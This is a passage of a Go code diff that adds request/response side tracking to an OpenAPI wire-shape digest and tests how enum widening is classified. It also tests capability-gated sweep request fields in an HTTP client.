map[string]bool + byKey map[string]Entry // "schema\x00member" -> Entry + sideOf map[string]string +} + +// recordSide notes that schema name was reached via side ("request" or +// "response"), promoting to sideBoth the moment the two disagree. It runs on +// EVERY visit to name, including one walk skips the properties of because +// visited already marked it seen — a schema visited first from a response +// and only later from a request must still end up "both", not stuck at +// whichever context happened to walk its properties. +func (c *collector) recordSide(name, side string) { + if name == "" || side == "" { + return + } + existing, ok := c.sideOf[name] + switch { + case !ok: + c.sideOf[name] = side + case existing != side: + c.sideOf[name] = sideBoth + } } // lookup resolves one local $ref to the node it names. It returns nil for @@ -473,12 +576,25 @@ func defaultString(v any) string { // recorded under it; a $ref always overrides it with the component's own // name. // -// Every NAMED schema is walked at most once (the visited guard), which is -// what makes a cycle between named schemas (and there is at least the -// potential for one as this document grows) a no-op rather than a stack -// overflow, and what makes the digest the same whichever operation reaches a -// shared schema first. -func (c *collector) walk(node map[string]any, label string) { +// Recursion into a (name, side) pair's properties happens at most once (the +// sideWalked guard), which is what makes a cycle between named schemas (and +// there is at least the potential for one as this document grows) a no-op +// rather than a stack overflow. The guard is keyed on side, NOT on name +// alone: a schema reached first from a request and later from a response +// (directly, or nested under some other schema the response reaches) must +// still have its PROPERTIES walked a second time with side="response", so +// every descendant that is itself reachable from a response gets recordSide +// called for that side too. Gating on name alone — walked once, ever, +// regardless of which side asks — promotes the node ITSELF to "both" (recordSide +// runs unconditionally before the guard) while leaving every child stuck at +// whichever side first walked down into it: a child nested two levels under a +// schema shared by both a request and a response would silently stay +// request-only or response-only depending on map iteration order, which is +// exactly backwards for a digest whose whole job is deciding whether an enum +// widening is additive by side. TestSidePropagatesToNestedChildren and +// TestComputeFromSideAssignmentIsDeterministic pin both the correctness and +// the order-independence of this. +func (c *collector) walk(node map[string]any, label string, side string) { name := label for { ref, ok := node["$ref"].(string) @@ -507,11 +623,13 @@ func (c *collector) walk(node map[string]any, label string) { node = merged } + c.recordSide(name, side) if name != "" { - if c.visited[name] { + sideKey := name + "\x00" + side + if c.sideWalked[sideKey] { return } - c.visited[name] = true + c.sideWalked[sideKey] = true } if props, ok := node["properties"].(map[string]any); ok { @@ -565,16 +683,16 @@ func (c *collector) walk(node map[string]any, label string) { switch entry.Type { case "object": - c.walk(propMap, name+"."+member) + c.walk(propMap, name+"."+member, side) if addlPropsNode != nil { // A map value that is itself a named/object schema gets // its own members walked too, under a label distinct // from an array's "[]" so the two can never collide. - c.walk(addlPropsNode, name+"."+member+"{}") + c.walk(addlPropsNode, name+"."+member+"{}", side) } case "array": if itemsNode != nil { - c.walk(itemsNode, name+"."+member+"[]") + c.walk(itemsNode, name+"."+member+"[]", side) } } } @@ -587,7 +705,7 @@ func (c *collector) walk(node map[string]any, label string) { if itemLabel == "" { itemLabel = label } - c.walk(items, itemLabel+"[]") + c.walk(items, itemLabel+"[]", side) } } } diff --git a/internal/httpapi/wireshape/wireshape_internal_test.go b/internal/httpapi/wireshape/wireshape_internal_test.go index ee7f7ac47..bbb97cf29 100644 --- a/internal/httpapi/wireshape/wireshape_internal_test.go +++ b/internal/httpapi/wireshape/wireshape_internal_test.go @@ -2,6 +2,7 @@ package wireshape import ( "reflect" + "slices" "testing" ) @@ -106,6 +107,74 @@ func TestWalkParam(t *testing.T) { } } +// sideDoc exercises the three combinations Compute's side-tracking must tell +// apart: a schema reachable ONLY from a request body (reqOnly's ReqOnly), one +// reachable ONLY from a response (respOnly's RespOnly), and one reachable +// from both a request body and a response, on the SAME operation (bothSides' +// Shared) — the case recordSide's "promote to both" path exists for. +const sideDoc = `openapi: 3.0.3 +paths: + /req-only: + post: + operationId: reqOnly + requestBody: + content: + application/json: + schema: {$ref: '#/components/schemas/ReqOnly'} + responses: + '200': {description: ok} + /resp-only: + get: + operationId: respOnly + responses: + '200': + description: ok + content: + application/json: + schema: {$ref: '#/components/schemas/RespOnly'} + /both: + put: + operationId: bothSides + requestBody: + content: + application/json: + schema: {$ref: '#/components/schemas/Shared'} + responses: + '200': + description: ok + content: + application/json: + schema: {$ref: '#/components/schemas/Shared'} +components: + schemas: + ReqOnly: {type: object, properties: {tier: {type: string, enum: [a, b]}}} + RespOnly: {type: object, properties: {tier: {type: string, enum: [a, b]}}} + Shared: {type: object, properties: {tier: {type: string, enum: [a, b]}}} +` + +// TestSideTracking pins Compute's own Digest.Sides assignment (what +// widensAdditively's oldSide/newSide lookups rely on): a request-only schema +// is "request", a response-only schema is "response", and a schema reached +// from both — even when the already-visited path skips re-walking its +// properties — is promoted to "both", never stuck at whichever side happened +// to walk it first. +func TestSideTracking(t *testing.T) { + d, err := computeFrom([]byte(sideDoc), 2) + if err != nil { + t.Fatalf("computeFrom: %v", err) + } + + for schema, wantSide := range map[string]string{ + "ReqOnly": "request", + "RespOnly": "response", + "Shared": "both", + } { + if got := d.Sides[schema]; got != wantSide { + t.Errorf("Sides[%q] = %q, want %q", schema, got, wantSide) + } + } +} + // TestEffectiveSerializationIsCompared is the Compute-level falsification for // recording effective style/explode values: changing how a parameter that // relied on its defaults is serialized must be a changed entry SafeToWrite @@ -153,3 +222,162 @@ func TestEffectiveSerializationIsCompared(t *testing.T) { }) } } + +// sharedNestedDoc reproduces the shape the MED1 re-review flagged: Parent is +// a request body (createParent) AND reachable from a response through +// Wrapper.p (getWrapper) — the same "reached from both sides" case sideDoc's +// Shared covers at the top level, but with two further wrinkles sideDoc +// cannot: Child is a NAMED schema nested two levels down (Parent.child, +// $ref'd), and Parent.inl is an ANONYMOUS nested object (no $ref of its own, +// so it is only ever identified by its synthetic "Parent.inl" label) with its +// own enum member. Both sit below the point where the old walk's name-only +// (not name+side) guard stopped recursing on Parent's SECOND visit, so +// recordSide was never called on them for whichever side arrived second — +// and which side that was depended on paths' map iteration order, which is +// why the bug showed up as a flaky 78/100 rather than a deterministic +// failure. +func sharedNestedDoc(kindEnum, modeEnum string) []byte { + return []byte(`openapi: 3.0.3 +paths: + /parent: + post: + operationId: createParent + requestBody: + content: + application/json: + schema: {$ref: '#/components/schemas/Parent'} + responses: + '200': {description: ok} + /wrapper: + get: + operationId: getWrapper + responses: + '200': + description: ok + content: + application/json: + schema: {$ref: '#/components/schemas/Wrapper'} +components: + schemas: + Parent: + type: object + properties: + child: {$ref: '#/components/schemas/Child'} + inl: + type: object + properties: + mode: {type: string, enum: [` + modeEnum + `]} + Child: + type: object + properties: + kind: {type: string, enum: [` + kindEnum + `]} + Wrapper: + type: object + properties: + p: {$ref: '#/components/schemas/Parent'} +`) +} + +// TestSidePropagatesToNestedChildren pins the MED1 re-review fix directly: +// Parent is reachable from both createParent's request body and, through +// Wrapper.p, getWrapper's response, and "both" must reach all the way down +// to its children — Child (a named, $ref'd grandchild) and Parent.inl (an +// anonymous nested object) alike — not stop at Parent itself. Before the +// fix, whichever side's walk reached Parent SECOND found it already in the +// name-only visited set and returned before ever recursing into Parent's +// properties with that side, so Child and Parent.inl stayed stuck at +// whichever single side walked them first. +func TestSidePropagatesToNestedChildren(t *testing.T) { + d, err := computeFrom(sharedNestedDoc("a, b", "a, b"), 2) + if err != nil { + t.Fatalf("computeFrom: %v", err) + } + want := map[string]string{ + "Parent": "both", + "Child": "both", + "Parent.inl": "both", + "Wrapper": "response", + } + for schema, wantSide := range want { + if got := d.Sides[schema]; got != wantSide { + t.Errorf("Sides[%q] = %q, want %q", schema, got, wantSide) + } + } +} + +// TestEnumWideningOnSharedNestedChildIsNotAdditive is the end-to-end +// Compare-level falsification the re-review asked for: widening an enum on a +// schema reachable from BOTH sides — whether a named grandchild ($ref'd +// Child.kind) or an anonymous nested one (Parent.inl.mode) — must be +// classified as a breaking Changed entry, never as an additive Widened one. +// An existing client decoding Wrapper out of getWrapper's response has to +// keep recognizing every value the server might send on either member, so +// neither widening is something only an updated client opts into the way a +// request-only widening is. +func TestEnumWideningOnSharedNestedChildIsNotAdditive(t *testing.T) { + for _, tc := range []struct { + name string + beforeKind, afterKind string + beforeMode, afterMode string + wantKey string + }{ + {"named grandchild (Child.kind)", "a, b", "a, b, c", "a, b", "a, b", "Child\x00kind"}, + {"anonymous nested child (Parent.inl.mode)", "a, b", "a, b", "a, b", "a, b, c", "Parent.inl\x00mode"}, + } { + t.Run(tc.name, func(t *testing.T) { + before, err := computeFrom(sharedNestedDoc(tc.beforeKind, tc.beforeMode), 2) + if err != nil { + t.Fatalf("computeFrom(before): %v", err) + } + after, err := computeFrom(sharedNestedDoc(tc.afterKind, tc.afterMode), 2) + if err != nil { + t.Fatalf("computeFrom(after): %v", err) + } + + cmp := Compare(before, after) + if !slices.Contains(cmp.Changed, tc.wantKey) { + t.Errorf("Changed = %v, want it to include %q: a both-sides enum widening must break", cmp.Changed, tc.wantKey) + } + if slices.Contains(cmp.Widened, tc.wantKey) { + t.Errorf("Widened = %v, must NOT include %q: both sides are reachable, so this is not additive", cmp.Widened, tc.wantKey) + } + + if ok, _ := SafeToWrite(before, after); ok { + t.Errorf("SafeToWrite at the same revision = true, want false: this widening is breaking and needs a wire_revision bump") + } + bumped := Digest{WireRevision: before.WireRevision + 1, Entries: after.Entries, Sides: after.Sides} + if ok, reason := SafeToWrite(before, bumped); !ok { + t.Errorf("SafeToWrite with a bumped revision refused: %s", reason) + } + }) + } +} + +// TestComputeFromSideAssignmentIsDeterministic is the order-independence pin +// the re-review asked for: the bug this MED1 fix closes was map-order +// dependent (observed failing 78/100 runs), so a single passing run of +// TestSidePropagatesToNestedChildren does not rule out a regression that is +// merely less likely than before. Go randomizes map iteration order per +// range, including paths and properties here, so calling computeFrom many +// times over the SAME document input exercises many different traversal +// orders; every one of them must land on the identical Sides assignment and +// entry set. +func TestComputeFromSideAssignmentIsDeterministic(t *testing.T) { + doc := sharedNestedDoc("a, b", "a, b") + first, err := computeFrom(doc, 2) + if err != nil { + t.Fatalf("computeFrom: %v", err) + } + for i := 0; i < 200; i++ { + got, err := computeFrom(doc, 2) + if err != nil { + t.Fatalf("computeFrom (run %d): %v", i, err) + } + if !reflect.DeepEqual(got.Sides, first.Sides) { + t.Fatalf("run %d: Sides = %v, want %v (non-deterministic across map iteration orders)", i, got.Sides, first.Sides) + } + if !reflect.DeepEqual(got.Entries, first.Entries) { + t.Fatalf("run %d: Entries = %v, want %v (non-deterministic across map iteration orders)", i, got.Entries, first.Entries) + } + } +} diff --git a/internal/httpapi/wireshape/wireshape_test.go b/internal/httpapi/wireshape/wireshape_test.go index e2d19d720..dd58024b5 100644 --- a/internal/httpapi/wireshape/wireshape_test.go +++ b/internal/httpapi/wireshape/wireshape_test.go @@ -5,6 +5,7 @@ import ( "fmt" "os" "path/filepath" + "slices" "strings" "testing" @@ -25,8 +26,8 @@ import ( // revision table in openapi.v0.yaml, never before. A wire_revision LOWER than // the golden's is never fixed by regenerating: that table is append-only, so // the constant itself is wrong. Any other difference — a bumped -// wire_revision, or entries only added — means this golden is simply stale; -// regenerate it with: +// wire_revision, entries only added, or a `sides` map that no longer matches +// — means this golden is simply stale; regenerate it with: // // go run ./internal/httpapi/wireshape/cmd/gendigest func TestWireShapeDigest(t *testing.T) { @@ -50,8 +51,8 @@ func TestWireShapeDigest(t *testing.T) { // goldenDrift is TestWireShapeDigest's verdict, factored out so // TestGoldenDrift can drive every arm with synthetic digests. It returns "" -// only when golden records exactly got — the same entries at the same -// wire_revision. Every other state fails; the arms only choose which +// only when golden records exactly got — the same entries and sides at the +// same wire_revision. Every other state fails; the arms only choose which // instruction the failure gives. func goldenDrift(golden, got wireshape.Digest) string { if got.WireRevision < golden.WireRevision { @@ -62,7 +63,8 @@ func goldenDrift(golden, got wireshape.Digest) string { } cmp := wireshape.Compare(golden, got) - changed, removed, added := cmp.Changed, cmp.Removed, cmp.Added + changed, removed, added, widened := cmp.Changed, cmp.Removed, cmp.Added, cmp.Widened + sides := sidesDrift(golden.Sides, got.Sides) switch { case len(changed) > 0 || len(removed) > 0: @@ -77,40 +79,72 @@ func goldenDrift(golden, got wireshape.Digest) string { "removed=%v) and wire_revision moved %d -> %d, but the golden was not regenerated: run "+ "`go run ./internal/httpapi/wireshape/cmd/gendigest` and commit the result", changed, removed, golden.WireRevision, got.WireRevision) - case len(added) > 0: + case len(added) > 0 || len(widened) > 0: + // Widened (a request-only enum strictly growing) is additive, same as + // Added (a brand-new key): neither needs CurrentWireRevision to move, + // both just need the golden regenerated. if got.WireRevision == golden.WireRevision { - return fmt.Sprintf("wire shape (response/request-body member or parameter) added (%v) but the "+ - "golden was not regenerated: this is additive and needs no wire_revision bump, but still run "+ - "`go run ./internal/httpapi/wireshape/cmd/gendigest` and commit the result", added) + return fmt.Sprintf("wire shape (response/request-body member or parameter) added (%v) or had a "+ + "request-only enum widen (%v) but the golden was not regenerated: this is additive and needs "+ + "no wire_revision bump, but still run `go run ./internal/httpapi/wireshape/cmd/gendigest` "+ + "and commit the result", added, widened) } // Passing here would leave the golden a revision behind // CurrentWireRevision, and a later non-additive change at that // already-moved constant would then be told only to regenerate (which // SafeToWrite allows) instead of to bump. - return fmt.Sprintf("wire shape (response/request-body member or parameter) added (%v) and "+ - "wire_revision moved %d -> %d, but the golden was not regenerated: run "+ - "`go run ./internal/httpapi/wireshape/cmd/gendigest` and commit the result", - added, golden.WireRevision, got.WireRevision) + return fmt.Sprintf("wire shape (response/request-body member or parameter) added (%v) or had a "+ + "request-only enum widen (%v) and wire_revision moved %d -> %d, but the golden was not "+ + "regenerated: run `go run ./internal/httpapi/wireshape/cmd/gendigest` and commit the result", + added, widened, golden.WireRevision, got.WireRevision) case got.WireRevision != golden.WireRevision: return fmt.Sprintf("CurrentWireRevision is %d but the golden still says %d, with no shape change to justify "+ "either: regenerate with `go run ./internal/httpapi/wireshape/cmd/gendigest`", got.WireRevision, golden.WireRevision) + case len(sides) > 0: + // Compare reads Sides only for the request-only widening carve-out, so + // a stale map changes no member's shape: it misfiles the next enum + // widening on those schemas instead. Nothing to bump, but the golden + // is still not what gendigest writes. + return fmt.Sprintf("the golden's `sides` map disagrees with a fresh digest for %v: this needs no "+ + "wire_revision bump, but run `go run ./internal/httpapi/wireshape/cmd/gendigest` and commit the result", + sides) } return "" } +// sidesDrift lists, sorted, every schema whose side differs between want and +// got, including a schema only one of them records. +func sidesDrift(want, got map[string]string) []string { + var drift []string + for schema, side := range want { + if gotSide, ok := got[schema]; !ok || gotSide != side { + drift = append(drift, schema) + } + } + for schema := range got { + if _, ok := want[schema]; !ok { + drift = append(drift, schema) + } + } + slices.Sort(drift) + return drift +} + // TestGoldenDrift is TestWireShapeDigest's own falsification: every way the // committed golden can disagree with a fresh Compute must fail, each with its // own instruction. "Added after a bump" is the state review found passing // silently — no arm fired when entries were only added and wire_revision had // also moved — and a LOWERED wire_revision was told to regenerate, which -// would have written the golden's revision backwards. +// would have written the golden's revision backwards. A stale `sides` map +// passed the same way until goldenDrift compared it. func TestGoldenDrift(t *testing.T) { golden := wireshape.Digest{ WireRevision: 2, Entries: []wireshape.Entry{ {Schema: "Widget", Member: "name", Type: "string", Required: true}, }, + Sides: map[string]string{"Widget": "response"}, } changed := []wireshape.Entry{{Schema: "Widget", Member: "name", Type: "integer", Required: true}} added := append(append([]wireshape.Entry{}, golden.Entries...), @@ -141,6 +175,15 @@ func TestGoldenDrift(t *testing.T) { wireshape.Digest{WireRevision: 1, Entries: changed}, []string{"LOWER than the 2"}}, {"added entry at a lowered revision asks to restore the constant", wireshape.Digest{WireRevision: 1, Entries: added}, []string{"LOWER than the 2"}}, + {"side recorded only by the fresh digest asks for a regenerate", + wireshape.Digest{WireRevision: 2, Entries: golden.Entries, + Sides: map[string]string{"Widget": "response", "Gadget": "request"}}, + []string{"`sides` map disagrees", "[Gadget]", "needs no wire_revision bump"}}, + {"side that moved asks for a regenerate", + wireshape.Digest{WireRevision: 2, Entries: golden.Entries, Sides: map[string]string{"Widget": "both"}}, + []string{"`sides` map disagrees", "[Widget]"}}, + {"side recorded only by the golden asks for a regenerate", + wireshape.Digest{WireRevision: 2, Entries: golden.Entries}, []string{"`sides` map disagrees", "[Widget]"}}, } { t.Run(tc.name, func(t *testing.T) { drift := goldenDrift(golden, tc.got) @@ -258,6 +301,135 @@ func TestSafeToWrite(t *testing.T) { }) } +// TestEnumWideningAdditivity is the falsification for widensAdditively +// (review MED 1: "the only trigger [for S4's wire_revision bump] is the +// request-only enum widening of SweepRequest.tier ... fix the wireshape gate +// so widening a request-only enum counts as additive, while response-side +// enum widening stays breaking"). Two synthetic digests, identical except for +// their Sides map, prove the carve-out is keyed on Sides alone — Entry itself +// never changes shape. +func TestEnumWideningAdditivity(t *testing.T) { + requestBase := wireshape.Digest{ + WireRevision: 2, + Entries: []wireshape.Entry{ + {Schema: "SweepRequest", Member: "tier", Type: "string", Required: true, + Enum: []string{"durable", "ephemeral"}}, + }, + Sides: map[string]string{"SweepRequest": "request"}, + } + requestWidened := wireshape.Digest{ + WireRevision: 2, + Entries: []wireshape.Entry{ + {Schema: "SweepRequest", Member: "tier", Type: "string", Required: true, + Enum: []string{"durable", "ephemeral", "wisps-plane"}}, + }, + Sides: map[string]string{"SweepRequest": "request"}, + } + + t.Run("a request-only enum widening is additive at the same revision", func(t *testing.T) { + cmp := wireshape.Compare(requestBase, requestWidened) + if len(cmp.Changed) != 0 { + t.Fatalf("Changed = %v, want none (the widening belongs in Widened)", cmp.Changed) + } + if len(cmp.Widened) != 1 { + t.Fatalf("Widened = %v, want exactly one entry", cmp.Widened) + } + if ok, reason := wireshape.SafeToWrite(requestBase, requestWidened); !ok { + t.Fatalf("request-only enum widening at the same revision refused: %s", reason) + } + drift := goldenDrift(requestBase, requestWidened) + if drift == "" || !strings.Contains(drift, "needs no wire_revision bump") { + t.Fatalf("goldenDrift = %q, want an additive (no-bump) instruction", drift) + } + }) + + responseBase := wireshape.Digest{ + WireRevision: 2, + Entries: []wireshape.Entry{ + {Schema: "SweepResult", Member: "tier", Type: "string", Required: true, + Enum: []string{"durable", "ephemeral"}}, + }, + Sides: map[string]string{"SweepResult": "response"}, + } + responseWidened := wireshape.Digest{ + WireRevision: 2, + Entries: []wireshape.Entry{ + {Schema: "SweepResult", Member: "tier", Type: "string", Required: true, + Enum: []string{"durable", "ephemeral", "wisps-plane"}}, + }, + Sides: map[string]string{"SweepResult": "response"}, + } + + t.Run("the identical widening on a response-side entry stays breaking", func(t *testing.T) { + cmp := wireshape.Compare(responseBase, responseWidened) + if len(cmp.Widened) != 0 { + t.Fatalf("Widened = %v, want none (a response-side widening is not additive)", cmp.Widened) + } + if len(cmp.Changed) != 1 { + t.Fatalf("Changed = %v, want exactly one entry", cmp.Changed) + } + if ok, _ := wireshape.SafeToWrite(responseBase, responseWidened); ok { + t.Fatal("response-side enum widening at the same revision was allowed") + } + bumped := wireshape.Digest{WireRevision: 3, Entries: responseWidened.Entries, Sides: responseWidened.Sides} + if ok, reason := wireshape.SafeToWrite(responseBase, bumped); !ok { + t.Fatalf("response-side enum widening with a bumped revision refused: %s", reason) + } + drift := goldenDrift(responseBase, responseWidened) + if drift == "" || !strings.Contains(drift, "changed without a wire_revision bump") { + t.Fatalf("goldenDrift = %q, want the ordinary non-additive instruction", drift) + } + }) + + t.Run("an enum narrowing on a request-only entry is still breaking", func(t *testing.T) { + narrowed := wireshape.Digest{ + WireRevision: 2, + Entries: []wireshape.Entry{ + {Schema: "SweepRequest", Member: "tier", Type: "string", Required: true, + Enum: []string{"durable"}}, + }, + Sides: map[string]string{"SweepRequest": "request"}, + } + cmp := wireshape.Compare(requestBase, narrowed) + if len(cmp.Widened) != 0 { + t.Fatalf("Widened = %v, want none (narrowing is not a widening)", cmp.Widened) + } + if len(cmp.Changed) != 1 { + t.Fatalf("Changed = %v, want exactly one entry", cmp.Changed) + } + }) + + t.Run("going from no enum at all to a fixed enum on a request-only entry is not additive", func(t *testing.T) { + // Pinning case for review finding: widensAdditively required + // len(new.Enum) > len(old.Enum), which holds vacuously when the old + // side has no enum (a free string). That let a request-only member + // go from unconstrained to a fixed set at the same wire_revision — + // the opposite of widening, since the server now 400s a value an + // old client could send yesterday. + noEnumBase := wireshape.Digest{ + WireRevision: 2, + Entries: []wireshape.Entry{ + {Schema: "SweepRequest", Member: "tier", Type: "string", Required: true}, + }, + Sides: map[string]string{"SweepRequest": "request"}, + } + cmp := wireshape.Compare(noEnumBase, requestWidened) + if len(cmp.Widened) != 0 { + t.Fatalf("Widened = %v, want none (no enum before is a new restriction, not a widening)", cmp.Widened) + } + if len(cmp.Changed) != 1 { + t.Fatalf("Changed = %v, want exactly one entry", cmp.Changed) + } + if ok, _ := wireshape.SafeToWrite(noEnumBase, requestWidened); ok { + t.Fatal("no-enum-to-enum tightening at the same revision was allowed") + } + bumped := wireshape.Digest{WireRevision: 3, Entries: requestWidened.Entries, Sides: requestWidened.Sides} + if ok, reason := wireshape.SafeToWrite(noEnumBase, bumped); !ok { + t.Fatalf("no-enum-to-enum tightening with a bumped revision refused: %s", reason) + } + }) +} + // TestParameterMutationsAreCaught is the falsification for how Compare and // SafeToWrite treat the parameter side of the digest (review: "the digest // doesn't cover operation PARAMETERS ... so a type, enum, required, or diff --git a/internal/httpclient/BUILD.bazel b/internal/httpclient/BUILD.bazel index 6afefa0bb..702900172 100644 --- a/internal/httpclient/BUILD.bazel +++ b/internal/httpclient/BUILD.bazel @@ -103,6 +103,7 @@ go_test( "dispatch_test.go", "divergence_citation_gate_test.go", "divergence_test.go", + "expected_revision_contract_test.go", "helpers_test.go", "lifecycle_create_test.go", "lifecycle_update_test.go", @@ -125,6 +126,7 @@ go_test( "served_counter_test.go", "served_detail_reads_test.go", "served_dualrun_test.go", + "served_dualwrite_history_test.go", "served_graph_aux_test.go", "served_graph_counter_test.go", "served_harness_test.go", diff --git a/internal/httpclient/bulk_roles_test.go b/internal/httpclient/bulk_roles_test.go index efa535889..5bf7a6022 100644 --- a/internal/httpclient/bulk_roles_test.go +++ b/internal/httpclient/bulk_roles_test.go @@ -14,6 +14,8 @@ import ( "github.com/steveyegge/beads/internal/httpapi/apigen" "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/issueops" ) @@ -198,28 +200,150 @@ func TestSweepDoesNotWriteThroughTheCallersCutoff(t *testing.T) { // is hand-written and a member the server grows would otherwise be dropped in // silence — a result whose numbers are quietly wrong about what was erased. func TestSweepResultCarriesEveryWireMember(t *testing.T) { + remaining := int64(13) + liveDependent := 14 w := &stubWire{swept: &apigen.SweepResult{ DryRun: true, Swept: 3, Dependencies: 4, Labels: 5, Events: 6, Skipped: apigen.SweepSkips{ Pinned: 7, Referenced: 8, NotClosed: 9, UnknownClosedAt: 10, ClosedAtOrAfterCutoff: 11, Unreadable: 12, + LiveDependent: &liveDependent, }, ReferencedIds: &[]string{"bd-1"}, + Remaining: &remaining, }} result, err := bulkSweeper(t, w).Sweep(t.Context(), issueops.SweepRequest{Tier: issueops.SweepEphemeral}) if err != nil { t.Fatalf("Sweep(): %v", err) } - // Remaining and LiveDependent are skipped: OSS's wire publishes no - // `remaining` or structural-dependent skip member for either to decode out - // of (W-SweepRequest.Limit, W-SweepRequest.ProtectLiveDependents refuse the - // request members that would produce them), so no wire body — fully - // populated or not — can ever make this projection set them. - assertEveryFieldPopulated(t, "SweepResult", reflect.ValueOf(result), "Remaining") - assertEveryFieldPopulated(t, "SweepSkips", reflect.ValueOf(result.Skipped), "LiveDependent") + assertEveryFieldPopulated(t, "SweepResult", reflect.ValueOf(result)) + assertEveryFieldPopulated(t, "SweepSkips", reflect.ValueOf(result.Skipped)) if !reflect.DeepEqual(result.ReferencedIDs, []string{"bd-1"}) { t.Errorf("ReferencedIDs = %v, want [bd-1]", result.ReferencedIDs) } + if result.Remaining != 13 { + t.Errorf("Remaining = %d, want 13", result.Remaining) + } + if result.Skipped.LiveDependent != 14 { + t.Errorf("Skipped.LiveDependent = %d, want 14", result.Skipped.LiveDependent) + } +} + +// TestSweepSendsTheS4MembersOnceTheServerAdvertisesThem is the encoding half of +// the three S4 additions: tier "wisps-plane", protect_live_dependents and limit +// each reach the wire once the handshake advertises the matching token, +// mirroring TestCountScopeFieldsEncodeOntoTheQuery's idiom for a request body +// rather than a query. +func TestSweepSendsTheS4MembersOnceTheServerAdvertisesThem(t *testing.T) { + served := &apigen.ContextResponse{Capabilities: []string{ + wire.CapSweepWispsPlane, wire.CapSweepLiveDependents, wire.CapSweepLimit, + }} + + t.Run("wisps-plane tier", func(t *testing.T) { + w := &stubWire{} + sweeper, err := New(testTarget(t), w, served).Sweeper() + if err != nil { + t.Fatalf("Sweeper(): %v", err) + } + if _, err := sweeper.Sweep(t.Context(), issueops.SweepRequest{Tier: issueops.SweepWispsPlane}); err != nil { + t.Fatalf("Sweep(): %v", err) + } + if w.lastSweep.Tier != apigen.WispsPlane { + t.Errorf("tier = %q, want %q", w.lastSweep.Tier, apigen.WispsPlane) + } + }) + + t.Run("protect_live_dependents", func(t *testing.T) { + w := &stubWire{} + sweeper, err := New(testTarget(t), w, served).Sweeper() + if err != nil { + t.Fatalf("Sweeper(): %v", err) + } + if _, err := sweeper.Sweep(t.Context(), issueops.SweepRequest{ + Tier: issueops.SweepWispsPlane, ProtectLiveDependents: true, + }); err != nil { + t.Fatalf("Sweep(): %v", err) + } + if w.lastSweep.ProtectLiveDependents == nil || !*w.lastSweep.ProtectLiveDependents { + t.Errorf("protect_live_dependents = %v, want true", w.lastSweep.ProtectLiveDependents) + } + }) + + t.Run("limit", func(t *testing.T) { + w := &stubWire{} + sweeper, err := New(testTarget(t), w, served).Sweeper() + if err != nil { + t.Fatalf("Sweeper(): %v", err) + } + if _, err := sweeper.Sweep(t.Context(), issueops.SweepRequest{ + Tier: issueops.SweepDurable, Limit: 5, + }); err != nil { + t.Fatalf("Sweep(): %v", err) + } + if w.lastSweep.Limit == nil || *w.lastSweep.Limit != 5 { + t.Errorf("limit = %v, want 5", w.lastSweep.Limit) + } + }) +} + +// TestSweepRefusesTheS4MembersWhenTheServerLacksTheCapability is the skew half: +// each of the three S4 additions refuses BEFORE dialing when the handshake does +// not advertise its token, mirroring +// TestCountScopeRefusesLocallyWhenTheServerLacksTheCapability. +func TestSweepRefusesTheS4MembersWhenTheServerLacksTheCapability(t *testing.T) { + masked := &apigen.ContextResponse{Capabilities: []string{"issues.sweep"}} + + for _, tc := range []struct { + name string + req issueops.SweepRequest + cap string + }{ + {"wisps-plane tier", issueops.SweepRequest{Tier: issueops.SweepWispsPlane}, wire.CapSweepWispsPlane}, + {"protect_live_dependents", issueops.SweepRequest{Tier: issueops.SweepDurable, ProtectLiveDependents: true}, wire.CapSweepLiveDependents}, + {"limit", issueops.SweepRequest{Tier: issueops.SweepDurable, Limit: 5}, wire.CapSweepLimit}, + } { + t.Run(tc.name, func(t *testing.T) { + w := &stubWire{} + sweeper, err := New(testTarget(t), w, masked).Sweeper() + if err != nil { + t.Fatalf("Sweeper(): %v", err) + } + _, err = sweeper.Sweep(t.Context(), tc.req) + if err == nil { + t.Fatal("Sweep returned no error, want a pre-dial capability refusal") + } + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) { + t.Fatalf("errors.As to *storage.ErrUnsupported failed for %v", err) + } + if unsup.Capability != tc.cap { + t.Errorf("Capability = %q, want %q", unsup.Capability, tc.cap) + } + if unsup.Op != "Sweeper.Sweep" { + t.Errorf("Op = %q, want %q", unsup.Op, "Sweeper.Sweep") + } + if len(w.calls) != 0 { + t.Errorf("dialed %v, want none: a pre-dial refusal must never reach the wire", w.calls) + } + }) + } + + // The converse: a plain ephemeral/durable sweep with neither new boolean + // nor a limit dials normally against the same masked server — the gate + // guards the three additions, not the operation. + t.Run("no S4 member set dials normally", func(t *testing.T) { + w := &stubWire{} + sweeper, err := New(testTarget(t), w, masked).Sweeper() + if err != nil { + t.Fatalf("Sweeper(): %v", err) + } + if _, err := sweeper.Sweep(t.Context(), issueops.SweepRequest{Tier: issueops.SweepDurable}); err != nil { + t.Fatalf("Sweep(): %v", err) + } + if len(w.calls) != 1 { + t.Errorf("dialed %d times, want 1", len(w.calls)) + } + }) } // TestDeleteResultCarriesEveryWireMember is the same guard on the delete, whose diff --git a/internal/httpclient/encode/BUILD.bazel b/internal/httpclient/encode/BUILD.bazel index a9b9adfd6..1b0e8cee7 100644 --- a/internal/httpclient/encode/BUILD.bazel +++ b/internal/httpclient/encode/BUILD.bazel @@ -34,6 +34,7 @@ go_test( "//:engdocs/design/http-divergence-ledger.md", "//cmd/bd:go_srcs", "//internal/httpapi/spec:openapi.v0.yaml", + "//internal/httpclient:go_srcs", ] + glob(["*.go"]), embed = [":encode"], deps = [ diff --git a/internal/httpclient/encode/ledger.go b/internal/httpclient/encode/ledger.go index a4729311c..605226c27 100644 --- a/internal/httpclient/encode/ledger.go +++ b/internal/httpclient/encode/ledger.go @@ -981,36 +981,22 @@ func writeSideRows() []Row { PinnedBy: pinnedByS3Conformance, }, { - // S3 reconciliation (2026-10): bd-enterprise's - // sweepIssues wire carried a structural-dependent protection - // alongside the referenced-citation one; OSS's apigen.SweepRequest - // publishes protect_referenced only. There is no - // protect_live_dependents member for this field to narrow onto, so - // sending `true` and having the client silently drop it would run - // an UNPROTECTED sweep while the caller believed the structural - // guard was active — the exact widening refuse-not-drop exists to - // stop, on the one operation this surface uses to delete rows. - ID: "W-SweepRequest.ProtectLiveDependents", Kind: KindRefuse, + ID: "W-SweepRequest.ProtectLiveDependents", Kind: KindRetired, Type: tySweepRequest, Field: "ProtectLiveDependents", - What: "protecting live structural dependents during a sweep refuses", - Why: "sweepIssues publishes dry_run, tier, closed_before, pattern, protect_referenced and actor only; no protect_live_dependents member exists for this client to send, and the server has no stored-edge lookup to 